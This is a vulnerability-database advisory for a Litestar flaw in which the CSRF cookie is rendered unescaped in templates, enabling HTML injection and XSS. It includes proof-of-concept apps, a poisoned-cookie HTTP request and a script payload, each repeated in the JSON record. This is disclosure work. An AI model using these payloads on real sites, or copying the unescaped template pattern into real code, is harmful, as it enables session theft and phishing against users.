PYSEC-2026-2604

Vulnerability from pysec - Published: 2026-07-13 15:46 - Updated: 2026-07-13 16:04
VLAI
Details

Overview

Litestar instances which use a template engine in conjunction with CSRF protection are vulnerable to HTML Injection which can be escalated to Cross Site Scripting due to the contents of the CSRF cookie being excluded from automatic escaping by the template engine when configured inline with documentation recommendations.

We used the latest Litestar version available via PyPI for this disclosure. At the time of writing, that is version 2.21.0 and we have not validated this against the current latest commit on the main branch.

Special Configurations Required

For a web application to be vulnerable to this issue, it must:

  • Use templates to render the content which is returned to the user (e.g. Jinja, Mako, MiniJinja)
  • Have CSRF protection enabled
  • Have CSRF inputs enabled (i.e. a hidden form field which contains the CSRF token)

Links to relevant documentation for the above configurations:

  • https://docs.litestar.dev/2/usage/templating.html
  • https://docs.litestar.dev/latest/usage/middleware/builtin-middleware.html#csrf
  • https://docs.litestar.dev/latest/usage/templating.html#adding-csrf-inputs

Reproduction Steps

  1. Visit an application which contains a form, uses templating, has CSRF protection enabled, and which inserts the CSRF token as a hidden input field on forms. A proof of concept application demonstrating this configuration is included later in this disclosure for ease of reproduction.
  2. Observe that the server sets the csrftoken cookie when the page loads.

litestar_csrf_cookie_in_browser_dev_tools

  1. Set the value of the csrftoken cookie to "><h1>HTML Injection Test</h1>.

litestar_csrf_cookie_poisoned_with_html

  1. Refresh the page.
  2. Observe that the contents of the cookie is rendered on the page.

litestar_successful_html_injection

Exploit Code

There are two Proof-of-Concepts (PoC) included here. The first demonstrates that arbitrary HTML is injected into the page when the user supplies a malicious csrftoken cookie. The second demonstrates how an attacker could deliver an attack using the vulnerability to an unsuspecting user.

The proof-of-concept applications can be started using these commands:

# run poc1
python -m uvicorn poc1:app

# run poc2
python -m uvicorn poc2:app

PoC 1 - Minimum Vulnerable Application

This proof-of-concept demonstrates that a crafted csrftoken cookie will be rendered on the vulnerable page as HTML.

poc1.py

from litestar import Litestar, get, MediaType
from litestar.response import Template
from litestar.config.csrf import CSRFConfig
import jinja2, os
from pathlib import Path
from litestar import Litestar
from litestar.contrib.jinja import JinjaTemplateEngine
from litestar.template.config import TemplateConfig

@get("/")
async def hello_world() -> Template:
    return Template(
        template_name="test.jinja",
        media_type=MediaType.HTML,
    )

ENVIRONMENT = jinja2.Environment(
    loader=jinja2.FileSystemLoader(
        searchpath=os.path.join(os.path.dirname(__file__), "templates")
    ),
    autoescape=True,
)

csrf_config = CSRFConfig(secret="my_super_duper_secret")

app = Litestar(
    route_handlers=[hello_world],
    template_config=TemplateConfig(
        directory=Path("templates"),
        engine=JinjaTemplateEngine.from_environment(ENVIRONMENT),
    ),
    csrf_config=csrf_config,
)

test.jinja

<html>
    <body>
        <div>
            <form method="post">
                {{ csrf_input | safe }}
                <label for="fname">Username:</label><br>
                <input type="text" id="username" name="username"><br>
                <label for="lname">Password:</label><br>
                <input type="text" id="password" name="password">
                <input type="submit">
            </form>
        </div>
    </body>
</html>

Sending the following request to the vulnerable page will result in the HTML included in the csrftoken cookie being injected and rendered on the page. 

GET /vulnerable HTTP/1.1
Host: localhost:8000
Cookie: csrftoken="><h1>HTML Injection Test</h1>

litestar_html_injection_poc_result

PoC 2 - Simulated Attack Delivery

This proof-of-concept demonstrates how an attacker could deliver an attack using this vulnerability to an unsuspecting user. We are using this example as it provides for easy local reproduction, it is possible that in end applications there may be various ways to trigger this vulnerability which differ from the example provided.

First, the user must visit a malicious application (the /first_site endpoint in poc2.py) which sets the csrftoken cookie value to a malicious payload. This app must be hosted on the same top level domain as the vulnerable application so that the poisoned cookie will automatically be sent by the user's browser to the vulnerable page.

Next, the malicious app redirects the user to the vulnerable app (the /second_site endpoint in poc2.py). The victim's browser will automatically send the poisoned cookie to the vulnerable app. This causes the vulnerable application to unsafely write the cookie content to the page and return it to the user, executing the attack in the victim user's browser

poc2.py

from litestar import Litestar, get, post, MediaType
from litestar.response import Template
from litestar.config.csrf import CSRFConfig
from litestar.datastructures import Cookie
import jinja2, os
from pathlib import Path
from litestar import Litestar
from litestar.contrib.jinja import JinjaTemplateEngine
from litestar.template.config import TemplateConfig

cookie_payload = '"><script>alert(document.domain)</script>'

# malicious site which poisons the csrf cookie
@get("/first_site", response_cookies=[Cookie(key="csrftoken", value=cookie_payload, httponly=True)])
async def first_site() -> Template:
    return Template(
        template_name="page1.jinja",
        media_type=MediaType.HTML,
    )

# vulnerable site
@get("/second_site")
async def second_site() -> Template:
    return Template(
        template_name="page2.jinja",
        media_type=MediaType.HTML,
    )

# example function for form submission if csrf verification succeeds
@post("/form_receive")
async def handle_form() -> dict[str, str]:
    return {
        "message": "form data received successfully"
    }


ENVIRONMENT = jinja2.Environment(
    loader=jinja2.FileSystemLoader(
        searchpath=os.path.join(os.path.dirname(__file__), "templates")
    ),
    autoescape=True,
)

csrf_config = CSRFConfig(secret="my_super_duper_secret")

app = Litestar(
    route_handlers=[first_site, second_site, handle_form],
    template_config=TemplateConfig(
        directory=Path("templates"),
        engine=JinjaTemplateEngine.from_environment(ENVIRONMENT),
    ),
    csrf_config=csrf_config,
)

page1.jinja

<html>
    <body>
        <h1>Setting cookie...</h1>
        <script>
            setTimeout(() => {
                window.location.href="/second_site"
            }, 2000);
        </script>
    </body>
</html>

page2.jinja

<html>
    <body>
        <div>
            <form action="/form_receive" method="post">
                {{ csrf_input | safe }}
                <label for="fname">Username:</label><br>
                <input type="text" id="username" name="username"><br>
                <label for="lname">Password:</label><br>
                <input type="text" id="password" name="password">
                <input type="submit">
            </form>
        </div>
    </body>
</html>

litestar_poc_first_page_setting_cookie

litestar_poc_second_page_xss

Impact

This vulnerability affects all Litestar instances that use templates along with CSRF protection that has been configured inline with the documentation section of "Adding CSRF inputs" within the "Templating" page. An attacker that can successfully exploit this issue can inject arbitrary HTML tags into the page which is then rendered in the victim user's browser. This includes script tags, allowing the attacker to escalate the attack to a Cross Site Scripting attack, thus executing arbitrary JavaScript code in the victim's browser.

Depending on the configuration of the site, this could result in the theft of cookies or session tokens. This issue can also allow the attacker to change the appearance of the site. This could enable possible phishing attacks by injecting fake forms into the page or even skimming the information that a user enters into a legitimate form.

Resources

  • https://cwe.mitre.org/data/definitions/79.html
  • https://docs.litestar.dev/2/usage/templating.html
  • https://docs.litestar.dev/latest/usage/middleware/builtin-middleware.html#csrf
  • https://docs.litestar.dev/latest/usage/templating.html#adding-csrf-inputs
Severity
8.1 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N
Impacted products
Name purl
litestar pkg:pypi/litestar
Aliases
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "litestar",
        "purl": "pkg:pypi/litestar"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.22.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ],
      "versions": [
        "1.0.0a0",
        "2.0.0",
        "2.0.0a3",
        "2.0.0a4",
        "2.0.0a5",
        "2.0.0a6",
        "2.0.0a7",
        "2.0.0b1",
        "2.0.0b2",
        "2.0.0b3",
        "2.0.0b4",
        "2.0.0rc1",
        "2.0.1",
        "2.1.0",
        "2.1.1",
        "2.10.0",
        "2.11.0",
        "2.12.0",
        "2.12.1",
        "2.13.0",
        "2.14.0",
        "2.15.0",
        "2.15.1",
        "2.15.2",
        "2.16.0",
        "2.17.0",
        "2.18.0",
        "2.19.0",
        "2.2.0",
        "2.2.1",
        "2.20.0",
        "2.21.0",
        "2.21.1",
        "2.3.0",
        "2.3.1",
        "2.3.2",
        "2.4.0",
        "2.4.1",
        "2.4.2",
        "2.4.3",
        "2.4.4",
        "2.4.5",
        "2.5.0",
        "2.5.1",
        "2.5.2",
        "2.5.3",
        "2.5.4",
        "2.5.5",
        "2.6.0",
        "2.6.1",
        "2.6.2",
        "2.6.3",
        "2.6.4",
        "2.7.0",
        "2.7.1",
        "2.7.2",
        "2.8.0",
        "2.8.1",
        "2.8.2",
        "2.8.3",
        "2.9.0",
        "2.9.1"
      ]
    }
  ],
  "aliases": [
    "CVE-2026-48060",
    "GHSA-542p-wvx7-72m4"
  ],
  "details": "# Overview\n\nLitestar instances which use a template engine in conjunction with CSRF protection are vulnerable to HTML Injection which can be escalated to Cross Site Scripting due to the contents of the CSRF cookie being excluded from automatic escaping by the template engine when configured inline with documentation recommendations.\n\nWe used the latest Litestar version available via PyPI for this disclosure. At the time of writing, that is version 2.21.0 and we have not validated this against the current latest commit on the main branch.\n\n# Special Configurations Required\n\nFor a web application to be vulnerable to this issue, it must:\n\n- Use templates to render the content which is returned to the user (e.g. Jinja, Mako, MiniJinja)\n- Have CSRF protection enabled\n- Have CSRF inputs enabled (i.e. a hidden form field which contains the CSRF token)\n\n**Links to relevant documentation for the above configurations:**\n\n- https://docs.litestar.dev/2/usage/templating.html\n- https://docs.litestar.dev/latest/usage/middleware/builtin-middleware.html#csrf\n- https://docs.litestar.dev/latest/usage/templating.html#adding-csrf-inputs\n\n# Reproduction Steps\n\n1. Visit an application which contains a form, uses templating, has CSRF protection enabled, and which inserts the CSRF token as a hidden `input` field on forms. A proof of concept application demonstrating this configuration is included later in this disclosure for ease of reproduction.\n2. Observe that the server sets the `csrftoken` cookie when the page loads.\n\n\u003cimg width=\"1152\" height=\"372\" alt=\"litestar_csrf_cookie_in_browser_dev_tools\" src=\"https://github.com/user-attachments/assets/252a5746-0f5f-4c78-9b9c-3ff4fb98e942\" /\u003e\n\n3. Set the value of the `csrftoken` cookie to `\"\u003e\u003ch1\u003eHTML Injection Test\u003c/h1\u003e`.\n\n\u003cimg width=\"1142\" height=\"426\" alt=\"litestar_csrf_cookie_poisoned_with_html\" src=\"https://github.com/user-attachments/assets/131e5015-e718-4539-8d03-969e81a34fdc\" /\u003e\n\n4. Refresh the page.\n5. Observe that the contents of the cookie is rendered on the page. \n\n\u003cimg width=\"1152\" height=\"480\" alt=\"litestar_successful_html_injection\" src=\"https://github.com/user-attachments/assets/c997f679-7111-4620-a28d-25eabea34ca2\" /\u003e\n\n# Exploit Code\n\nThere are two Proof-of-Concepts (PoC) included here. The first demonstrates that arbitrary HTML is injected into the page when the user supplies a malicious `csrftoken` cookie. The second demonstrates how an attacker could deliver an attack using the vulnerability to an unsuspecting user. \n\nThe proof-of-concept applications can be started using these commands:\n\n```bash\n# run poc1\npython -m uvicorn poc1:app\n\n# run poc2\npython -m uvicorn poc2:app\n```\n\n## PoC 1 - Minimum Vulnerable Application\n\nThis proof-of-concept demonstrates that a crafted `csrftoken` cookie will be rendered on the vulnerable page as HTML. \n\n**poc1.py**\n\n```python\nfrom litestar import Litestar, get, MediaType\nfrom litestar.response import Template\nfrom litestar.config.csrf import CSRFConfig\nimport jinja2, os\nfrom pathlib import Path\nfrom litestar import Litestar\nfrom litestar.contrib.jinja import JinjaTemplateEngine\nfrom litestar.template.config import TemplateConfig\n\n@get(\"/\")\nasync def hello_world() -\u003e Template:\n    return Template(\n        template_name=\"test.jinja\",\n        media_type=MediaType.HTML,\n    )\n\nENVIRONMENT = jinja2.Environment(\n    loader=jinja2.FileSystemLoader(\n        searchpath=os.path.join(os.path.dirname(__file__), \"templates\")\n    ),\n    autoescape=True,\n)\n\ncsrf_config = CSRFConfig(secret=\"my_super_duper_secret\")\n\napp = Litestar(\n    route_handlers=[hello_world],\n    template_config=TemplateConfig(\n        directory=Path(\"templates\"),\n        engine=JinjaTemplateEngine.from_environment(ENVIRONMENT),\n    ),\n    csrf_config=csrf_config,\n)\n```\n\n**test.jinja**\n\n```html\n\u003chtml\u003e\n    \u003cbody\u003e\n        \u003cdiv\u003e\n            \u003cform method=\"post\"\u003e\n                {{ csrf_input | safe }}\n                \u003clabel for=\"fname\"\u003eUsername:\u003c/label\u003e\u003cbr\u003e\n                \u003cinput type=\"text\" id=\"username\" name=\"username\"\u003e\u003cbr\u003e\n                \u003clabel for=\"lname\"\u003ePassword:\u003c/label\u003e\u003cbr\u003e\n                \u003cinput type=\"text\" id=\"password\" name=\"password\"\u003e\n                \u003cinput type=\"submit\"\u003e\n            \u003c/form\u003e\n        \u003c/div\u003e\n    \u003c/body\u003e\n\u003c/html\u003e\n```\n\nSending the following request to the vulnerable page will result in the HTML included in the `csrftoken` cookie being injected and rendered on the page. \n\n```http\nGET /vulnerable HTTP/1.1\nHost: localhost:8000\nCookie: csrftoken=\"\u003e\u003ch1\u003eHTML Injection Test\u003c/h1\u003e\n```\n\n\u003cimg width=\"577\" height=\"328\" alt=\"litestar_html_injection_poc_result\" src=\"https://github.com/user-attachments/assets/69590b08-1066-487d-ac37-62f64333de5a\" /\u003e\n\n## PoC 2 - Simulated Attack Delivery\n\nThis proof-of-concept demonstrates how an attacker could deliver an attack using this vulnerability to an unsuspecting user. We are using this example as it provides for easy local reproduction, it is possible that in end applications there may be various ways to trigger this vulnerability which differ from the example provided. \n\nFirst, the user must visit a malicious application (the `/first_site` endpoint in `poc2.py`) which sets the `csrftoken` cookie value to a malicious payload. This app must be hosted on the *same top level domain* as the vulnerable application so that the poisoned cookie will automatically be sent by the user\u0027s browser to the vulnerable page. \n\nNext, the malicious app *redirects* the user to the vulnerable app (the `/second_site` endpoint in `poc2.py`). The victim\u0027s browser will automatically send the poisoned cookie to the vulnerable app. This causes the vulnerable application to unsafely write the cookie content to the page and return it to the user, executing the attack in the victim user\u0027s browser\n\n**poc2.py**\n\n```python\nfrom litestar import Litestar, get, post, MediaType\nfrom litestar.response import Template\nfrom litestar.config.csrf import CSRFConfig\nfrom litestar.datastructures import Cookie\nimport jinja2, os\nfrom pathlib import Path\nfrom litestar import Litestar\nfrom litestar.contrib.jinja import JinjaTemplateEngine\nfrom litestar.template.config import TemplateConfig\n\ncookie_payload = \u0027\"\u003e\u003cscript\u003ealert(document.domain)\u003c/script\u003e\u0027\n\n# malicious site which poisons the csrf cookie\n@get(\"/first_site\", response_cookies=[Cookie(key=\"csrftoken\", value=cookie_payload, httponly=True)])\nasync def first_site() -\u003e Template:\n    return Template(\n        template_name=\"page1.jinja\",\n        media_type=MediaType.HTML,\n    )\n\n# vulnerable site\n@get(\"/second_site\")\nasync def second_site() -\u003e Template:\n    return Template(\n        template_name=\"page2.jinja\",\n        media_type=MediaType.HTML,\n    )\n\n# example function for form submission if csrf verification succeeds\n@post(\"/form_receive\")\nasync def handle_form() -\u003e dict[str, str]:\n    return {\n        \"message\": \"form data received successfully\"\n    }\n\n\nENVIRONMENT = jinja2.Environment(\n    loader=jinja2.FileSystemLoader(\n        searchpath=os.path.join(os.path.dirname(__file__), \"templates\")\n    ),\n    autoescape=True,\n)\n\ncsrf_config = CSRFConfig(secret=\"my_super_duper_secret\")\n\napp = Litestar(\n    route_handlers=[first_site, second_site, handle_form],\n    template_config=TemplateConfig(\n        directory=Path(\"templates\"),\n        engine=JinjaTemplateEngine.from_environment(ENVIRONMENT),\n    ),\n    csrf_config=csrf_config,\n)\n```\n\n**page1.jinja**\n\n```html\n\u003chtml\u003e\n    \u003cbody\u003e\n        \u003ch1\u003eSetting cookie...\u003c/h1\u003e\n        \u003cscript\u003e\n            setTimeout(() =\u003e {\n                window.location.href=\"/second_site\"\n            }, 2000);\n        \u003c/script\u003e\n    \u003c/body\u003e\n\u003c/html\u003e\n```\n\n**page2.jinja**\n\n```html\n\u003chtml\u003e\n    \u003cbody\u003e\n        \u003cdiv\u003e\n            \u003cform action=\"/form_receive\" method=\"post\"\u003e\n                {{ csrf_input | safe }}\n                \u003clabel for=\"fname\"\u003eUsername:\u003c/label\u003e\u003cbr\u003e\n                \u003cinput type=\"text\" id=\"username\" name=\"username\"\u003e\u003cbr\u003e\n                \u003clabel for=\"lname\"\u003ePassword:\u003c/label\u003e\u003cbr\u003e\n                \u003cinput type=\"text\" id=\"password\" name=\"password\"\u003e\n                \u003cinput type=\"submit\"\u003e\n            \u003c/form\u003e\n        \u003c/div\u003e\n    \u003c/body\u003e\n\u003c/html\u003e\n```\n\n\u003cimg width=\"887\" height=\"223\" alt=\"litestar_poc_first_page_setting_cookie\" src=\"https://github.com/user-attachments/assets/4e8f70e4-fb44-47f6-8e15-42b512cc224f\" /\u003e\n\n\u003cimg width=\"885\" height=\"366\" alt=\"litestar_poc_second_page_xss\" src=\"https://github.com/user-attachments/assets/a8d57c66-0424-483c-ac92-4694d4e08500\" /\u003e\n\n# Impact\n\nThis vulnerability affects all Litestar instances that use templates along with CSRF protection that has been configured inline with the documentation section of \"Adding CSRF inputs\" within the \"Templating\" page. An attacker that can successfully exploit this issue can inject arbitrary HTML tags into the page which is then rendered in the victim user\u0027s browser. This includes `script` tags, allowing the attacker to escalate the attack to a Cross Site Scripting attack, thus executing arbitrary JavaScript code in the victim\u0027s browser. \n\nDepending on the configuration of the site, this could result in the theft of cookies or session tokens. This issue can also allow the attacker to change the appearance of the site. This could enable possible phishing attacks by injecting fake forms into the page or even skimming the information that a user enters into a legitimate form. \n\n# Resources\n\n- https://cwe.mitre.org/data/definitions/79.html\n- https://docs.litestar.dev/2/usage/templating.html\n- https://docs.litestar.dev/latest/usage/middleware/builtin-middleware.html#csrf\n- https://docs.litestar.dev/latest/usage/templating.html#adding-csrf-inputs",
  "id": "PYSEC-2026-2604",
  "modified": "2026-07-13T16:04:38.989630Z",
  "published": "2026-07-13T15:46:15.800307Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/litestar-org/litestar/security/advisories/GHSA-542p-wvx7-72m4"
    },
    {
      "type": "WEB",
      "url": "https://docs.litestar.dev/2/release-notes/changelog.html#2.22.0"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/litestar-org/litestar"
    },
    {
      "type": "PACKAGE",
      "url": "https://pypi.org/project/litestar"
    },
    {
      "type": "ADVISORY",
      "url": "https://github.com/advisories/GHSA-542p-wvx7-72m4"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-48060"
    }
  ],
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Litestar has HTML Injection Through its CSRF Token"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.





Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.


Detection rules are retrieved from Rulezet.